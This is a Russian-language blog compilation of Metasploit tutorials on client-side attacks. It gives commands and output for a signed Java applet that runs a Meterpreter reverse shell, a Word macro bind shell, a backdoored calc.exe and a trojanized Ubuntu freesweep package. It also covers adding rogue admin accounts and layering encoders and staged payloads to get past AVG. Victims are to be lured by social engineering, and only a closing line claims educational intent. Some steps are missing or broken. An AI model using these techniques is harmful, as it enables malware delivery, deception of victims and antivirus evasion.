Несколько дней назад @hdmoor выпустил новый вспомогательный модуль - NTP Scanner. Этот модуль позволяет получить список последних клиентов с NTP сервера :
[*] Sending probes to 17.72.255.11->17.72.255.11 (1 hosts)
Джошуа Авраам (Jabra) опубликовал большую статью, которая была основана на докладе, сделанном на Всемирной конференции Infosec в вRafal Los, статью можно найти на http://blog.spl0it.org. Это Java-апплет, который после запуска в браузере будет выполнять полезную нагрузку Meterpreter если цель принимает предупреждение о безопасности. Прежде чем мы начнем, машина атакующего должна удовлетворять некоторым условиям.
root@bt4:/# apt-get install sun-java6-jdk
Jabra упростил создание подписи Java-апплета, весь процесс сводится к запуску bash скрипта. Сам скрипт можно загрузить с http://spl0it.org/files/makeapplet.sh Теперь создадим рабочую директорию для нашего Java-апплета, затем скачаем сам скрипт.
root@bt4:/# mkdir ./java-applet root@bt4:/# cd ./java-applet
Нам нужно создать Java-апплет и поставить на него подпись. Для этого откройте ваш текстовый редактор, затем новый документ и вставьте содержимое скрипта, которое указано ниже, сохраните как : "MSFcmd.java". Оставьте текстовый редактор открытым, нам потребуется изменить некоторые параметры.
import java.applet.*; import java.awt.*; import java.io.*; public class MSFcmd extends Applet { public void init() { Process f; String first = getParameter("first"); try { f = Runtime.getRuntime().exec("first"); } catch(IOException e) { e.printStackTrace(); } Process s; } }
Далее мы запустим скрипт Jabr-ы, чтобы помочь в принятии нашего сертификата. Следующие команды загрузят сценарий, сделают его исполняемым, а затем запустят сценарий для получения сертификатов.
root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh root@bt4:/java-applet/# ./makeapplet.sh Enter the name of the applet without the extension: MSFcmd [+] Packaging the compiled class into a JAR file [+] Generating key pairs What is your first and last name? [Unknown]: MSFcmd What is the name of your organizational unit? [Unknown]: Microsoft What is the name of your organization? [Unknown]: Microsoft Organization What is the name of your City or Locality? [Unknown]: Redmond What is the name of your State or Province? [Unknown]: Washington What is the two-letter country code for this unit? [Unknown]: US Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes [+] Signing the JAR file Warning: The signer certificate will expire within six months. [+] Exporting the public key certificate Certificate stored in file [+] Done
Все готово, мы должны подготовить наши JAR и class файлы для веб-сервера.
Теперь, когда аплет на месте, мы подготовим полезную нагрузку Meterpreter. Измените в примере ниже 'X.X.X.X' на IP адрес атакующего. Эта команда используя msfpayload создает Reverse TCP Meterpreter Shell для нашей жертвы. Мы генерируем полезную нагрузку в «сыром» формате и подаем на вход msfencode, сохраняем файл исполняемым. Исполняемый файл копируется в директорию веб-сервера, затем на него выставляются права на запуск.
Далее мы должны добавить команду запускающую полезную нагрузку в файл index.html. В общем эта страница будет запускать JAVA-Аплет, подписанный нами, который, получив разрешение от клиента, запустит cmd.exe из своей системы, повторяя строчки в VBS-скрипт с именем "apsou.vbs". Не забудьте, что этот файл можно найти в системе после всех успешных и "некоторых" неудачных попыток. После того, как файл создан, та же самая командная строка запускает VBS-скрипт и в качестве переменной подает ему ссылку на систему атакующего, где расположен файл "my.exe". Как только полезная нагрузка будет загружена, она запустит "my.exe" с правами пользователя, запустившего браузер. Модифицируем файл index.html, первое,что загрузит в свой браузер клиент сайта. В реальном мире, контент сайта можно разнообразить видео, веб-браузерными играми, или другими мероприятиями, чтобы развлечь или отвлечь жертву. Социальная инженерия может сыграть огромную пользу, направив вашу жертву к определенному URL, предупредите жертву, чтобы та согласилась с предупреждением безопасности, для дальнейшего просмотра вашего сайта или использования вашего «очень безопасного IM апплета». Вы также можете разместить различные полезные нагрузки в разных папках для разных клиентов. Введите следующую команду как одну непрерывную и не забудьте изменить 'XXXX' нападающего на ваш IP-адрес.
На страницу нам также нужно добавить сообщение для пользователя, чтобы тот принял наш «вредоносный» апплет.
root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet. We are sorry for any inconvenience. " >> /var/www/index.html
Теперь нам нужно использовать Metasploit multi/handler для ожидания соединений от клиентов. Для прослушки используем reverse shell на порту 443. Этот порт ассоциирован с HTTPS трафиком и поэтому большинство корпоративных брандмауэров разрешают «хождение трафика» через этот порт. Как и раньше замените 'X.X.X.X' на IP адрес атакующего.
msf > use exploit/multi/handler msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST X.X.X.X LHOST => X.X.X.X msf exploit(handler) > set LPORT 443 LPORT +> 443 msf exploit(handler) > save Saved configuration to: /root/.msf3/config msf exploit(handler) >exploit -j [*] Exploit running as background job. [*] Started reverse handler [*] Starting the payload handler...
Когда жертва просматривает наш сайт и принимает предупреждение системы безопасности, полезная нагрузка Meterpreter срабатывает и подключается к нашему обработчику.
И последнее замечание, если у вас возникли проблемы с доступом к системе, проверьте, чтобы файлы
'C:\windows\apsou.vbs' 'C:\windows\my.exe'
не существовали на целевой системе. При попытке повторного использования этого клиента вы не сможете правильно запустить VBS-скрипт. Если у вас еще существуют проблемы с подключением, и вы удалили указанные выше файлы, пожалуйста, проверьте следующие места в реестре и внесите изменения по мере необходимости.
Start > run : regedit navigate to: HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only change value to: 0 navigate to: HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags click Decimal change value to 3 navigate to: HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ make new dword with the name 1C00 value in hex 10000 navigate to: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags click Decimal change value to 3
Теперь мы должны закрыть редактор реестра и запустить или перезапустить IE, новые параметры должны отработать.
Для того чтобы создать этот эксплойт, нам для начала надо скачать Metasploit и проапдейтить его.
После того как мы скачали, заинсталили и проапдейтили метасплойт, можно приступать непосредственно к подготовке эксплойта.
В рабочей папке метасплойта в пуске находим CMD Shell, запускаем её, и,получив командную строку, прописываем две команды:
cd %APPDATA% ruby msf3-dev/msfpayload windows/shell_bind_tcp LPORT 8888 V > t.vba
как показано на рисунке:
Тут нужно подождать некоторое время. Файл сохраняется. после того как у вас появится новая строка, cmd можно закрывать. Все что надо уже готово.
Далее переходим в
c:\documents and settings\USERNAME\Application Data
и находим там файл t.vba который мы создали. Можно задать и другое имя файла, но это не существенно.
После этого открываем Microsoft Word. В случае если вы пользуетесь версией до 2007, переходим в tools->Macros->Visual Basic. Я же покажу на примере более распространенного 2007 ворда. Для начала надо активировать управление макросами. Нажимаем основное меню и в раскрывшемся меню выбраем "Параметры Word". В закладке "Основное" ставим галочку напротив "Показывать вкладку "Разработчик" на ленте" как показано на рисунке:
Далее нажимаем "ОК" и у нас добавляется новая вкладка "Разработчик" на основной панели ворда. Туда и переходим. Первая же кнопка "Visual Basic" нас и интересует. В открывшемся приложении обработки событий мы видим слева на документ в выпавшем списке. Нажимаем по нему правой кнопкой мыши(желательно по нему) и выбираем "Import File" как показано на рисунке:
В появившемся окне выбираем тип файла "All Files" и выбираем наш созданный макрос. После этого в приложении обработки событий появится вкладка "Modules" при раскрытии которого мы увидим "module1" при раскрытии которого мы увидим нечто подобное:
Как только мы добились этого, закрываем обработчик событий и попадаем снова в обычное окно Word-a, где никаких изменений якобы не происходило. Далее пишем какой-нибудь текст в ворде для того чтобы отвлечь внимание жертвы от размера файла и сохраняем файл. Лично я сохранял под ворд 97-2003 для того чтобы наверняка он работал.
Как только жертва запустит этот ворд, на ней запускается сервер с открытым портом 8888 для подключения. Все что нам остается - запустить telnet и подключиться к этой машине по порту 8888 (или любой другой который мы указываем при создании макроса) и в результате мы получаем cmd удаленной машины.
Единственный минус этого эксплойта - при запуске документа (по крайней мере на 2007 офисе) он спрашивает разрешение на запуск макроса.
Это обновление позволяет троянить существующие проги, при этом они будут функционировать как оригинальные. То есть на выходе у нас прога, а в ней бэкдор.
открываем Shell, нормально он в : C:\Programe Files\Metasploit\Framework3\Shell
Посмотрим опции : msfencode -h
Usage: ./msfencode
OPTIONS: -a The architecture to encode as -b The list of characters to avoid: '\x00\xff' -c The number of times to encode the data -e The encoder to use -h Help banner -i Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m Specifies an additional module search path -n Dump encoder information -o The output file -p The platform to encode for -s The maximum size of the encoded data -t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)-x Specify an alternate win32 executable template
Создадим нашу забэкдореную прогу :
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.11 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5 [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
Отправляем затрояненную прогу недругу с криком : Зырь какой супер калькулятор!!!
Он открывает файл - прога пашет нормально, ну а мы получаем шелл на его тачке.
[*] Started reverse handler on 192.168.210.11:4444 [*] Starting the payload handler... [*] Sending stage (748032 bytes) [*] Meterpreter session 3 opened (192.168.210.11:4444 -> 192.168.210.11:51695)
Советую сразу мигрировать в другой процесс, ибо как только он закроет прогу шелл исчезнет :
meterpreter > getuid Server username: WINXPSP3\user meterpreter > run migrate explorer.exe [*] Current server process: calc_backdoor.exe (3360) [*] Migrating to explorer.exe... [*] Migrating into process ID 1592 [*] New server process: Explorer.EXE (1592) meterpreter > getuid Server username: WINXPSP3\user meterpreter > getpid Current pid: 1592 meterpreter >
Для того, чтобы продемонстрировать, что атаки на «стороне клиента» существуют не только под Windows, мы будем использовать Metasploit для создания Ubuntu deb пакета, чтобы заполучить shell на Linux.
Отличное видео выступиления Redmeat_uk демонстрации этой техники, вы можете увидеть на http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx Сначала необходимо загрузить пакет, который мы собираемся «заразить» и перенести его во временный рабочий каталог. В нашем примере мы будем использовать пакет freesweep, текстовая версия Mine Sweeper.
root@bt4:/pentest/exploits/framework3# apt-get --download-only install freesweep Reading package lists... Done Building dependency tree
Reading state information... Done ...snip... root@bt4:/pentest/exploits/framework3# mkdir /tmp/evil root@bt4:/pentest/exploits/framework3# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil root@bt4:/pentest/exploits/framework3# cd /tmp/evil/ root@bt4:/tmp/evil#
Далее, нам необходимо извлечь пакет в рабочую директорию и создать директорию DEBIAN для добавления наших дополнительных «возможностей».
root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN
В директории «DEBIAN», создайте файл с именем «control», который содержит следующее:
root@bt4:/tmp/evil/work/DEBIAN# cat control Package: freesweep Version: 0.90-1 Section: Games and Amusement Priority: optional Architecture: i386 Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com) Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
Нам также необходимо создать после установочный скрипт, который задаст исполняющие права на наши бинарные файлы. В директории «DEBIAN», мы создадим файл с именем «postinst», который содержит следующее:
Теперь создадим наше вредоносное содержимое. Мы будем использовать реверс-шелл бэк-коннекта для подключения к нашей машине под названием «freesweep_scores».
root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores Created by msfpayload (http://www.metasploit.com). Payload: linux/x86/shell/reverse_tcp Length: 50 Options: LHOST=192.168.1.101,LPORT=443
Далее сделаем пост-установочный скрипт исполняемым и соберем наш новый пакет. Файл пакета будет называться «work.deb». Изменим его имя на freesweep.deb и скопируем пакет в корневой каталог нашего веб-сервера.
Запустим модуль Metasploit multi/handler для ожидания входящего соединения.
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 E [*] Please wait while we load the module tree... [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler...
Нашу жертву под Ubuntu, мы должны убедить скачать и установить deb пакет с новой игрой.
Рассмотрим более подробно VNC Inject начинку. Выбираем windows/vncinject/bind_tcp.
Что она делает ?
Она внедряет VNC DLL в память удаленного процесса, и позволяет нам подключиться к графическому пользовательскому интерфейсу (GUI) на удаленном компьютере с помощью клиента VNC.
Что самое интересное, это то что терминал удаленной системы был заблокирован. Обычно, чтобы получить удаленный доступ к GUI , необходимо подобрать имя пользователя и пароль учетной записи администратора. Однако, Командная строка, любезно предоставленная нашей начинкой, существенно облегчает нашу работу.
Теперь мы можем пойти дальше и создать локальную учетную запись администратора с помощью команд
net user /add net localgroup administrators /add
Теперь мы сможем спокойно войти в систему с привилегиями администратора, и вольны делать все, что мы хотим.
Как мы видели полезная нагрузка в Metasploit работает здорово. Но есть несколько осложнений. В связи с большим распространением вредоносного ПО, большинство операционных систем семейства Windows работают под защитой того или иного антивирусного программного обеспечения. Давайте приблизим наш пример к реальной жизни и установим бесплатный антивирус AVG и посмотрим, что произойдет с нашим файлом.
Как и предполагалось, антивирус забил тревогу. Давайте подумаем, что мы можем сделать для предотвращения обнаружения нашего модуля антивирусом. Мы закриптуем исполняемый файл, чтобы усложнить обнаружение антивирусом. Будем использовать командную строку msfencode. Давайте взглянем на некоторые опции, запустив msfencode с переключателем '-h'.
-a The architecture to encode as -b The list of characters to avoid: 'x00xff' -c The number of times to encode the data -e The encoder to use -h Help banner -i Encode the contents of the supplied file path -l List available encoders -m Specifies an additional module search path -n Dump encoder information -o The output file -s The maximum size of the encoded data -t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)
Давайте посмотрим какие кодировщики у нас имеются, запустив 'msfencode -l'.
Name Rank Description ---- ---- ----------- cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder generic/none normal The "none" Encoder mipsbe/longxor normal XOR Encoder mipsle/longxor normal XOR Encoder php/base64 normal PHP Base64 encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Отлично. Мы видим наши возможности, и множество различных кодировщиков которыми мы можем воспользоваться. Давайте воспользуемся "shikata ga nai encoder", подав на его вход вывод команды msfpayload (для бэк-коннекта к нашей машине) из примера выше.
/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Передадим бинарный файл на другую систему и посмотрим, что произойдет.
Все плохо. Он по прежнему уязвим перед AVG. Ну, мы не можем позволить AVG выиграть, правда? Давайте прикинемся немного параноиками и используем три различных кодировщика, двум из которых мы скомандуем по десять проходов, итого на три кодировщика у нас 21 проход. Это то число проходов, при котором файл все еще остается быть рабочим бинарным. AVG никогда не обойти это!
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)
[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)
[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)
[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)
[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)
[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)
[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)
[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)
[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)
[*] x86/countdown succeeded with size 856 (iteration=1)
root@bt4:/pentest/exploits/framework3# file /tmp/6.exe /tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Хорошо, мы копируем бинарный файл, запускаем его, ииииии.....
Нам опять не удалось! AVG по прежнему обнаруживает в нашем бинарнике вредоносный код. Сможем ли мы вообще это обойти? Что же, оказывается, у нас есть некоторые уловки. Metasploit поддерживает два различных типа полезной нагрузки. Первый вид 'windows/shell_reverse_tcp', содержит весь код необходимый для полезной нагрузки. Другой 'windows/shell/reverse_tcp' работает немного по другому. 'windows/shell/reverse_tcp' содержит код для открытия сетевого подключения, остальной код эксплоита находится на машине нападающего. Таким образом в случае 'windows/shell/reverse_tcp', подключение выполняется к атакующему хосту, остальная часть полезной нагрузки будет загружена в память, а затем предоставляется shell. Итак как ведет себя при этом антивирус? Ну большинство антивирусов работает на основе сигнатурной технологии. Код сигнатуры 'windows/shell_reverse_tcp' содержится в базах вредоносного ПО. 'windows/shell/reverse_tcp' соответственно не содержит тех сигнатур, что ищет AVG. Имея это в виду, давайте генерировать 'Windows / Shell / reverse_tcp' бинарную полезную нагрузку.
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 278 Options: LHOST=172.16.104.130,LPORT=31337 root@bt4:/pentest/exploits/framework3# file /tmp/7.exe /tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ладно теперь мы скопируем файл на удаленную систему и запустим, посмотрим что произойдет.
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E [*] Please wait while we load the module tree... [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler... [*] Sending stage (474 bytes) [*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents>dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim\My Documents 05/27/2009 09:56 PM . 05/27/2009 09:56 PM .. 05/25/2009 09:36 PM 9,728 7.exe 05/25/2009 11:46 PM Downloads 10/29/2008 05:55 PM My Music 10/29/2008 05:55 PM My Pictures 1 File(s) 9,728 bytes 5 Dir(s) 38,655,614,976 bytes free C:\Documents and Settings\Jim\My Documents>
Успех! Наша нагрузка успешно уклонилась от антивирусной защиты.
Внимание! Весь материал данного блога представлен лишь в ознакомительных целях, администратор не несет никакой ответственности за применение этого материала в реальной среде.